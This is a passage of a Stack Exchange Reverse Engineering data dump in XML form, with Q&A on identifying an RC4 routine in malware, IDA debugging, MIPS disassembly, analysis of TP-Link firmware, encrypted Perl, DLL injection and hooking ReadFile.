0;&#xA;  do&#xA;  {&#xA;    v9 = v18[v8];&#xA;    v10 = (unsigned __int8)(v6 + v18[v8] + *(_BYTE *)(v7++ + a1)); // generate index&#xA;    v6 = v10;&#xA;    if ( v7 &amp;gt;= a2 )&#xA;      v7 = 0;&#xA;    v18[v8++] = v18[v10];&#xA;    v18[v10] = v9;&#xA;  }&#xA;  while ( v8 &amp;lt; 256 );&#xA;&#xA;// iterate local buffer again, exchange content of cells, starting with index 0&#xA;  v11 = a3; // init with 0&#xA;  LOBYTE(v12) = 0;&#xA;  for ( result = 0; v11; v18[v12] = v14 )&#xA;  {&#xA;    result = (unsigned __int8)(result + 1);&#xA;    v14 = v18[result];&#xA;    --v11;&#xA;    v12 = (unsigned __int8)(v12 + v18[result]);&#xA;    v18[result] = v18[v12];&#xA;  }&#xA;&#xA;// mask the request&#xA;  v15 = a5;&#xA;  for ( i = a4; v15; --v15 )&#xA;  {&#xA;    result = (unsigned __int8)(result + 1);&#xA;    v17 = v18[result];&#xA;    v12 = (unsigned __int8)(v12 + v18[result]);&#xA;    v18[result] = v18[v12];&#xA;    v18[v12] = v17;&#xA;    *i++ ^= v18[(unsigned __int8)(v17 + v18[result])]; // simple xor&#xA;  }&#xA;  return result;&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11478" LastActivityDate="2016-10-08T23:20:42.067" Title="Is this request mask algorithm reversible?" Tags="|malware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13654" PostTypeId="1" CreationDate="2016-10-06T19:52:13.573" Score="2" ViewCount="4786" Body="&lt;p&gt;Starting my RE adventures with IDA Pro, I'm opening a windows .exe file in it. While debugging the file, the debugger runs fine and exits with a return 1 value:&#xA;&lt;strong&gt;Debugger: process has exited (exit code 1)&lt;/strong&gt;.&#xA;The problem is all this happens in a second! Before feeding the .exe to IDA Pro, I have tried to open it with double-clicking. The windows console shows itself and fades away in a glimpse; The only way I can get the .exe running with the console remaining open, is by the cmd. I guess IDA Pro debugger is simply exiting for the same reason the console fades in normal running the .exe! So I'm stuck with a .exe file running fine but I don't get the chance to debug it and monitor the flow of the program!&lt;/p&gt;&#xA;" OwnerUserId="17667" LastActivityDate="2016-10-13T08:07:48.450" Title="IDA Pro Debugging Window Closes in a Second!" Tags="|ida|debuggers|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13655" PostTypeId="2" ParentId="13654" CreationDate="2016-10-06T20:21:16.687" Score="2" Body="&lt;p&gt;Seems like you did not add any breakpoints. By default no breakpoints are applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add a breakpoint on program entry (among other events) in the Debugger Options. In Debugger Options, check the box that says &quot;Suspend on process entry point&quot;, or any of the other events available. Read more here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1413.shtml&quot; rel=&quot;nofollow&quot;&gt;https://www.hex-rays.com/products/ida/support/idadoc/1413.shtml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, you can find a line of assembly and add a breakpoint on that line and the program will break once execution reaches that instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once a breakpoint is hit, you can step over each instruction, etc.&lt;/p&gt;&#xA;" OwnerUserId="13531" LastActivityDate="2016-10-06T20:21:16.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13656" PostTypeId="1" CreationDate="2016-10-06T20:30:28.887" Score="1" ViewCount="3900" Body="&lt;p&gt;So, I am looking for disassembler code for MIPS commands, for example: if the program gets word of command like 3c1d8010, I want to get the name of the command and the registers, which it uses: lui sp,0x8010&lt;/p&gt;&#xA;&#xA;&lt;p&gt;examples: &#xA;25080268       addiu t0,t0,616&#xA;40806800       mtc0  zero,$13&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know, that it is possible to write by myself, but maybe somebody has done it already. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="17668" LastActivityDate="2016-10-07T19:02:55.367" Title="Mips disassembler" Tags="|disassemblers|mips|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13658" PostTypeId="2" ParentId="13656" CreationDate="2016-10-07T04:05:31.867" Score="3" Body="&lt;p&gt;Try &lt;a href=&quot;http://www.capstone-engine.org/&quot; rel=&quot;nofollow&quot;&gt;capstone&lt;/a&gt;.&#xA;They have a good &lt;a href=&quot;http://www.capstone-engine.org/documentation.html&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; with &lt;a href=&quot;http://www.capstone-engine.org/lang_python.html&quot; rel=&quot;nofollow&quot;&gt;samples&lt;/a&gt; like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; # test1.py&#xA; from capstone import *&#xA;&#xA; CODE = b&quot;\x55\x48\x8b\x05\xb8\x13\x00\x00&quot;&#xA;&#xA; md = Cs(CS_ARCH_X86, CS_MODE_64)&#xA; for i in md.disasm(CODE, 0x1000):&#xA;     print(&quot;0x%x:\t%s\t%s&quot; %(i.address, i.mnemonic, i.op_str))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output sample:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ python test1.py&#xA;&#xA;0x1000: push    rbp&#xA;0x1001: mov rax, qword ptr [rip + 0x13b8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to the docs they support MIPS and of course they have code on &lt;a href=&quot;https://github.com/aquynh/capstone&quot; rel=&quot;nofollow&quot;&gt;GitHub.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2016-10-07T04:10:38.167" LastActivityDate="2016-10-07T04:10:38.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13659" PostTypeId="2" ParentId="13656" CreationDate="2016-10-07T07:54:25.090" Score="2" Body="&lt;p&gt;you can try radare2    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E:\R2&amp;gt;rasm2.exe -a mips -e -d -&#xA;25080268&#xA;addiu t0, t0, 0x268&#xA;40806800&#xA;mtc0 zero, t5, 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;use mips.gnu to get the output you queried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E:\R2&amp;gt;rasm2.exe -a mips.gnu -e -d -&#xA;25080268&#xA;addiu t0, t0, 616&#xA;40806800&#xA;mtc0 zero, $13&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;rasm2 -h should show the switches &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-a = arch (use -L to list the numerous architectures it supports)&#xA;-e = to tell that the input is Big-Endian&#xA;-d = Disassemble &#xA;-  = to provide input from Stdin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-10-07T08:02:57.467" LastActivityDate="2016-10-07T08:02:57.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13660" PostTypeId="1" AcceptedAnswerId="13661" CreationDate="2016-10-07T08:45:01.433" Score="2" ViewCount="1289" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mnbu4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mnbu4.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA failed to construct function correctly. After extending function end and correcting stack I've found that IDA doesnt refresh graph. The green nodes should be one continuous node. Is there any way to fix it?&lt;/p&gt;&#xA;" OwnerUserId="17675" LastActivityDate="2016-10-07T11:00:55.520" Title="IDA failed to construct correct graph" Tags="|ida|call-graph|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13661" PostTypeId="2" ParentId="13660" CreationDate="2016-10-07T11:00:55.520" Score="2" Body="&lt;p&gt;IDA sometimes flag functions with &quot;noreturn&quot;. In my situation it was due to exceptions in sub_1B64A30. If function is flagged as &quot;noreturn&quot;, IDA's analysis stops after calling it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in order to repair graph one should unflag &quot;noreturn&quot; (I once had a case, where I couldn't do it tho), undefine calling function, define it back.&lt;/p&gt;&#xA;" OwnerUserId="17675" LastActivityDate="2016-10-07T11:00:55.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13662" PostTypeId="2" ParentId="13654" CreationDate="2016-10-07T13:36:50.393" Score="0" Body="&lt;p&gt;Are you opening a 32 or 64 bit .exe (cannot add this as a comment due to no enough reputation points)? If you are opening on 64 bit file with a 32 bit instance of IDA, you may encounter issues. If you're using the free version,there are limitations on what can be opened as stated here: &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is similar to this other posting: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11438/ida-cannot-launch-debugger-for-64-bit-exe-files&quot;&gt;IDA cannot launch debugger for 64-bit exe files&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17460" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2016-10-07T13:36:50.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13663" PostTypeId="2" ParentId="13656" CreationDate="2016-10-07T19:02:55.367" Score="3" Body="&lt;p&gt;If you want to have quick access without installing anything, try &lt;a href=&quot;https://onlinedisassembler.com/odaweb/&quot; rel=&quot;nofollow&quot;&gt;The online disassembler&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-10-07T19:02:55.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13664" PostTypeId="1" AcceptedAnswerId="13981" CreationDate="2016-10-07T21:00:16.183" Score="4" ViewCount="5960" Body="&lt;p&gt;After following the tutorial &lt;a href=&quot;http://www.devttys0.com/2011/05/reverse-engineering-firmware-linksys-wag120n/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, I decided I would try and reverse engineer my router's firmware. My router is the TP-Link TD-W8961N and the firmware version is V2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been trying to figure this out for a while now, but have had no luck. The firmware does not contain any obvious filesystem, bootloader or kernel that can be extracted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the binwalk analysis, it seems that the router is running ThreadX on MIPS architecture. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Executing &lt;code&gt;binwalk -eM TDW8961N&lt;/code&gt;, I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;63643         0xF89B          ZyXEL rom-0 configuration block, name: &quot;dbgarea&quot;, compressed size: 0, uncompressed size: 0, data offset from start of block: 16&#xA;63892         0xF994          ZyXEL rom-0 configuration block, name: &quot;dbgarea&quot;, compressed size: 0, uncompressed size: 0, data offset from start of block: 16&#xA;85043         0x14C33         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 66696 bytes&#xA;118036        0x1CD14         Unix path: /usr/share/tabset/vt100:\&#xA;118804        0x1D014         ZyXEL rom-0 configuration block, name: &quot;spt.dat&quot;, compressed size: 0, uncompressed size: 0, data offset from start of block: 16&#xA;118824        0x1D028         ZyXEL rom-0 configuration block, name: &quot;autoexec.net&quot;, compressed size: 25972, uncompressed size: 11886, data offset from start of block: 16&#xA;128002        0x1F402         GIF image data, version &quot;89a&quot;, 200 x 50&#xA;136194        0x21402         GIF image data, version &quot;89a&quot;, 560 x 50&#xA;253333        0x3DD95         Neighborly text, &quot;neighbor of your ADSL Router that will forward the packet to the destination. On the LAN, the gateway &amp;lt;/font&amp;gt;e destination. On the LAN, the gateway &amp;lt;/font&amp;gt;&quot;&#xA;349586        0x55592         Copyright string: &quot;Copyright (c) 2001 - 2015 TP-LINK TECHNOLOGIES CO., LTD.&quot;&#xA;386471        0x5E5A7         Copyright string: &quot;Copyright &amp;amp;copy; 2015 TP-LINK Technologies Co., Ltd. All rights reserved.&quot;&#xA;386489        0x5E5B9         TP-Link firmware header, firmware version: 17256.26992.22113, image version: &quot; Co., Ltd. All rights reserved.&quot;, product ID: 0x6E42746E, product version: 1131375727, kernel load address: 0x72002223, kernel entry point: 0x46463939, kernel offset: 4475203, kernel length: 1347765096, rootfs offset: 1768969317, rootfs length: 2020868163, bootloader offset: 1347747908, bootloader length: 1229148245&#xA;806847        0xC4FBF         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2853276 bytes&#xA;&#xA;&#xA;Scan Time:     2016-10-07 22:29:27&#xA;Target File:   /home/aaron/Desktop/tools/firmware/TD-W8961N/_TD-W8961N-0.extracted/14C33&#xA;MD5 Checksum:  feac8e40efcca119826f811501b36502&#xA;Signatures:    344&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;&#xA;&#xA;Scan Time:     2016-10-07 22:29:27&#xA;Target File:   /home/aaron/Desktop/tools/firmware/TD-W8961N/_TD-W8961N-0.extracted/C4FBF&#xA;MD5 Checksum:  78c0c10cba8fba3ce1c194461ac40fa4&#xA;Signatures:    344&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;2141288       0x20AC68        Neighborly text, &quot;neighbor loss) fail&quot;&#xA;2144380       0x20B87C        ZyXEL rom-0 configuration block, name: &quot;autoexec.net&quot;, compressed size: 25972, uncompressed size: 11886, data offset from start of block: 8313&#xA;2157896       0x20ED48        Neighborly text, &quot;neighbordown: can't shutdown OSPF task completely&quot;&#xA;2168474       0x21169A        ZyXEL rom-0 configuration block, name: &quot;spt.dat&quot;, compressed size: 769, uncompressed size: 259, data offset from start of block: 28805&#xA;2249704       0x2253E8        HTML document footer&#xA;2250021       0x225525        HTML document header&#xA;2253724       0x22639C        XML document, version: &quot;1.0&quot;&#xA;2320029       0x23669D        Base64 standard index table&#xA;2332534       0x239776        ZyXEL rom-0 configuration block, name: &quot;autoexec.net&quot;, compressed size: 25972, uncompressed size: 11886, data offset from start of block: 131&#xA;2332646       0x2397E6        Copyright string: &quot;Copyright (c) 1994 - 2004 ZyXEL Communications Corp.&quot;&#xA;2332699       0x23981B        Copyright string: &quot;Copyright (c) 2001 - 2006 TrendChip Technologies Corp.&quot;&#xA;2332754       0x239852        Copyright string: &quot;Copyright (c) 2001 - 2006 &quot;&#xA;2333095       0x2399A7        ZyXEL rom-0 configuration block, name: &quot;dbgarea&quot;, compressed size: 0, uncompressed size: 0, data offset from start of block: 16&#xA;2344978       0x23C812        eCos RTOS string reference: &quot;ecost&quot;&#xA;2393676       0x24864C        SHA256 hash constants, big endian&#xA;2395752       0x248E68        Base64 standard index table&#xA;2436753       0x252E91        ZyXEL rom-0 configuration block, name: &quot;autoexec.net&quot;, compressed size: 25972, uncompressed size: 11886, data offset from start of block: 135&#xA;2454640       0x257470        ZyXEL rom-0 configuration block, name: &quot;autoexec.net&quot;, compressed size: 25972, uncompressed size: 11886, data offset from start of block: 131&#xA;2495500       0x26140C        Base64 standard index table&#xA;2537620       0x26B894        XML document, version: &quot;1.0&quot;&#xA;2544124       0x26D1FC        XML document, version: &quot;1.0&quot;&#xA;2545312       0x26D6A0        XML document, version: &quot;1.0&quot;&#xA;2546280       0x26DA68        XML document, version: &quot;1.0&quot;&#xA;2551100       0x26ED3C        XML document, version: &quot;1.0&quot;&#xA;2555276       0x26FD8C        XML document, version: &quot;1.0&quot;&#xA;2558548       0x270A54        XML document, version: &quot;1.0&quot;&#xA;2563936       0x271F60        XML document, version: &quot;1.0&quot;&#xA;2569916       0x2736BC        XML document, version: &quot;1.0&quot;&#xA;2572052       0x273F14        XML document, version: &quot;1.0&quot;&#xA;2579160       0x275AD8        XML document, version: &quot;1.0&quot;&#xA;2595692       0x279B6C        XML document, version: &quot;1.0&quot;&#xA;2605172       0x27C074        XML document, version: &quot;1.0&quot;&#xA;2613932       0x27E2AC        XML document, version: &quot;1.0&quot;&#xA;2615368       0x27E848        XML document, version: &quot;1.0&quot;&#xA;2627752       0x2818A8        XML document, version: &quot;1.0&quot;&#xA;2648491       0x2869AB        Copyright string: &quot;copyright&quot;&#xA;2658067       0x288F13        Copyright string: &quot;copyright&quot; &amp;gt;&quot;&#xA;2759380       0x2A1AD4        CRC32 polynomial table, big endian&#xA;2827145       0x2B2389        Unix path: /wifi_uni_mac/ROM/nic/hal/MT7603/hal_rom.c&#xA;2827593       0x2B2549        Unix path: /wifi_uni_mac/ROM/nic/hal/MT7603/hal_pwr_mgt_rom.c&#xA;2828329       0x2B2829        Unix path: /wifi_uni_mac/mgmt/mt7603/rlm_phy.c&#xA;2828385       0x2B2861        Unix path: /wifi_uni_mac/mgmt/mt7603/rlm_sensor.c&#xA;2852324       0x2B85E4        Copyright string: &quot;Copyright (c) 1996-2010 Express Logic Inc. * ThreadX MIPS32_34Kx/Green Hills Version G5.4.5.0 SN: 3182-197-0401 *&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This creates two files &lt;code&gt;14C33&lt;/code&gt; which, when running binwalk, gives no results and &lt;code&gt;C4FBF&lt;/code&gt; which gives a similar output as &lt;code&gt;binwalk TDW8961N&lt;/code&gt;. It also creates lots of xml files which are similar. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I opened the files 14C33 and C4FBF in a hex editor and noticed that the first two bytes were &lt;code&gt;3C 08&lt;/code&gt;. Running &lt;code&gt;file&lt;/code&gt; on these two files returns &lt;br /&gt;&lt;br /&gt;&#xA;&lt;code&gt;14C33: data&lt;/code&gt;&lt;br /&gt;&#xA;&lt;code&gt;C4FBF: data&lt;/code&gt; &lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I Googled these two bytes and came to &lt;a href=&quot;https://groups.google.com/forum/#!msg/comp.compression/_y2Wwn_Vq_E/SKOF7iE12PEJ&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; page where I found that a zlib stream can start with &lt;code&gt;08 3C&lt;/code&gt;, although not common. After reading this, I changed the first two bytes so that they read &lt;code&gt;08 3C&lt;/code&gt; and &lt;code&gt;file 14C33&lt;/code&gt; returned &lt;br /&gt;&lt;br /&gt;&#xA;&lt;code&gt;14C33: zlib compressed data&lt;/code&gt; &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did the same thing with the file &lt;code&gt;C4FBF&lt;/code&gt; and when I try to decompress it, it fails. Using gzip, I get &lt;code&gt;unknown suffix -- ignored&lt;/code&gt;. I also tried with uncompress and pigz, but they gave similar errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something wrong with the &lt;code&gt;zlib compressed data&lt;/code&gt;, is &lt;code&gt;file&lt;/code&gt; giving a false positive or is there a custom compression algorithm? Also, I don't understand why there is a reference to both eCos and ThreadX OSes. And for the bootloader and kernel offset, is it the offset when the bootloader and kernel are loaded into memory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The firmware can be downloaded at tp-link.com/en/download/TD-W8961N_V2.html#Firmware&lt;/p&gt;&#xA;" OwnerUserId="17681" LastActivityDate="2020-01-26T12:15:08.450" Title="Reverse engineering TP-Link TD-W8961N" Tags="|firmware|mips|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13665" PostTypeId="1" AcceptedAnswerId="13768" CreationDate="2016-10-07T23:42:56.287" Score="3" ViewCount="1089" Body="&lt;p&gt;I am trying to use &lt;code&gt;perl -MO=Deparse&lt;/code&gt; to get readable source code from encrypted Perl files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Perl script I'm trying to deparse starts with &lt;code&gt;use Filter::Crypto::Decrypt;&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error I'm getting is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Can't run with Perl compiler backend at /System/Library/Perl/5.18/XSLoader.pm line 95. &#xA;BEGIN failed--compilation aborted at /Library/Perl/5.18/darwin-thread-multi-2level/Filter/Crypto/Decrypt.pm line 37.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When reading &lt;a href=&quot;http://search.cpan.org/dist/Filter-Crypto-2.06/Decrypt/lib/Filter/Crypto/Decrypt.pm&quot; rel=&quot;nofollow&quot;&gt;this webpage&lt;/a&gt;, it says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Can't run with Perl compiler backend&lt;/strong&gt;&lt;br&gt;&#xA;  (F) The encrypted Perl file is being run by a perl with the Perl compiler backend enabled, e.g. perl -MO=Deparse file. This is not allowed since it may assist in retrieving the original unencrypted source code.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I understand this correctly, then this is a security measure to prevent people from doing exactly what I'm trying to do. Correct? Is there any way to override this?&lt;/p&gt;&#xA;" OwnerUserId="17683" LastEditorUserId="53" LastEditDate="2016-10-08T07:49:50.070" LastActivityDate="2016-10-20T04:32:53.413" Title="Trouble deparsing Perl encrypted with Filter::Crypto::Encrypt" Tags="|decryption|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13667" PostTypeId="1" AcceptedAnswerId="13675" CreationDate="2016-10-08T12:32:39.247" Score="0" ViewCount="3121" Body="&lt;p&gt;I am messing around with dll injections. I am able to inject a dll with an exported function into some process, but I have a question now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a standard way to call the exported function of my injected dll?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can provide code if necessary.&lt;/p&gt;&#xA;" OwnerUserId="16602" LastActivityDate="2016-10-09T14:33:47.937" Title="Call function of injected dll" Tags="|dll|dll-injection|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13670" PostTypeId="1" CreationDate="2016-10-08T17:41:48.933" Score="2" ViewCount="1475" Body="&lt;p&gt;I'm trying to make a small proxy dll that will be able to print out all the files that a game tries to access from disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a dinput8 wrapper dll as my proxy dll, from where I've managed to attach a console and print out stuff. But I think I don't understand how exactly I am supposed to hook the ReadFile function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all I am not sure if this is possible at all, considering that I want to create and export a wrapper function for ReadFile, whose declaration is in a completely different dll from the one I'm wrapping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying right now (and its not working) is to declare a ReadFile_wrapper function, which is practically calling the original function right now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;extern &quot;C&quot; BOOL WINAPI ReadFile_wrapper(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead,&#xA;                        LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped)&#xA;{&#xA;    MessageBoxA(NULL, &quot;Reading&quot;, &quot;&quot;, 0);&#xA;    return ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also I'm declaring a definition in the .def file, so that the export function is named like the original ReadFile function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;ReadFile=ReadFile_wrapper&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm obviously missing something critical here, so any help is highly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="12838" LastActivityDate="2016-11-10T07:30:59.933" Title="Winapi ReadFile monitor" Tags="|winapi|function-hooking|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13671" PostTypeId="1" AcceptedAnswerId="13678" CreationDate="2016-10-08T18:44:36.890" Score="4" ViewCount="1559" Body="&lt;p&gt;I have an (ARM) object file that I want to inspect. There are some instructions that load addresses pointing to another area in the object file. I would like to see the contents of the area, but &lt;code&gt;objdump -Ds&lt;/code&gt; shows &lt;code&gt;...&lt;/code&gt; and skips the whole section. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000230cc &amp;lt;heap_size_129&amp;gt;:&#xA;   230cc:       00000000        andeq   r0, r0, r0&#xA;&#xA;000230d0 &amp;lt;small_integers&amp;gt;:&#xA;        ...&#xA;&#xA;000231d8 &amp;lt;heap_size_33&amp;gt;:&#xA;   231d8:       00000000        andeq   r0, r0, r0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, I need the contents of &lt;code&gt;small_integers&lt;/code&gt;. Does &lt;code&gt;...&lt;/code&gt; mean it is full of &lt;code&gt;andeq r0,r0,r0&lt;/code&gt; (i.e., &lt;code&gt;null&lt;/code&gt;)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot find other flags beside &lt;code&gt;-Ds&lt;/code&gt; in the &lt;code&gt;objdump&lt;/code&gt; manpage that may help here.&lt;/p&gt;&#xA;" OwnerDisplayName="user187" LastActivityDate="2016-10-09T08:47:25.330" Title="Why does objdump show dot dot dot?" Tags="|arm|objdump|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13672" PostTypeId="1" AcceptedAnswerId="13674" CreationDate="2016-10-08T22:24:43.673" Score="0" ViewCount="3371" Body="&lt;p&gt;I want to search for sequence of bytes in OllyDbg. Is it possible? How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="17692" LastActivityDate="2016-10-08T23:15:08.953" Title="Search for sequence of bytes with OllyDbg" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13673" PostTypeId="2" ParentId="13651" CreationDate="2016-10-08T22:51:20.110" Score="2" Body="&lt;p&gt;This seems to me like &lt;a href=&quot;https://en.wikipedia.org/wiki/RC4&quot; rel=&quot;nofollow noreferrer&quot;&gt;RC4&lt;/a&gt;, a stream cipher (here is &lt;a href=&quot;https://codereview.stackexchange.com/questions/41148/rc4-implementation-in-c&quot;&gt;a somewhat similar implementation&lt;/a&gt;, and &lt;a href=&quot;https://es.wikipedia.org/wiki/RC4&quot; rel=&quot;nofollow noreferrer&quot;&gt;here's another&lt;/a&gt;). &lt;a href=&quot;https://stackoverflow.com/questions/4657416/difference-between-encoding-and-encryption&quot;&gt;It does not encode data, it encrypts it&lt;/a&gt; (with a key). Being a stream cipher, it generates a sequence of bytes derived from the key, and then XORs the data with those. These two steps are usually separated in two functions, which is why you don't see any reference to the key in your function: because it is the part which XORs with an already generated stream somewhere before that function gets called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;a1&lt;/code&gt; seems to be a pointer to the state structure, so it is not a pointer to a 4 byte sequence, but rather, a structure which holds the current state. From what I have seen, most binaries do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RC4_Init(state, key, ...)&#xA;RC4_Process(...) // this is the function you're looking at now&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Find where the function is called, look a bit above (try cross-referencing &lt;code&gt;a1&lt;/code&gt;), and you should find the initialization function, which has the key.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;To further expand on why I think this is RC4&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; // buffer with 0 to 255&#xA;  v5 = 0;&#xA;  do&#xA;  {&#xA;    v18[v5] = v5;&#xA;    ++v5;&#xA;  }&#xA;  while ( v5 &amp;lt; 256 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;rc4_init&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void rc4_init(unsigned char *key, unsigned int key_length) {&#xA;    for (i = 0; i &amp;lt; 256; i++)&#xA;        S[i] = i;&#xA;&#xA;    /* ... more code ... */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// exchange content of a random index starting with index 0&#xA;  v6 = 0;&#xA;  v7 = 0;&#xA;  v8 = 0;&#xA;  do&#xA;  {&#xA;    v9 = v18[v8];&#xA;    v10 = (unsigned __int8)(v6 + v18[v8] + *(_BYTE *)(v7++ + a1)); // generate index&#xA;    v6 = v10;&#xA;    if ( v7 &amp;gt;= a2 )&#xA;      v7 = 0;&#xA;    v18[v8++] = v18[v10];&#xA;    v18[v10] = v9;&#xA;  }&#xA;  while ( v8 &amp;lt; 256 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Chunk of 